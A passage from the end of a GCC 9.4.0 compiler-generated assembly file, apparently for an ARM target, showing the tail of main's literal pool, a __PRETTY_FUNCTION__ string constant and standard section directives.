	.word	.LC49
	.word	.LC50
	.word	.LC51
	.word	.LC52
	.word	.LC53
	.word	.LC54
	.word	.LC55
	.word	.LC56
	.word	.LC57
	.word	.LC58
	.size	main, .-main
	.section	.rodata
	.align	2
	.type	__PRETTY_FUNCTION__.5320, %object
	.size	__PRETTY_FUNCTION__.5320, 5
__PRETTY_FUNCTION__.5320:
	.ascii	"main\000"
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
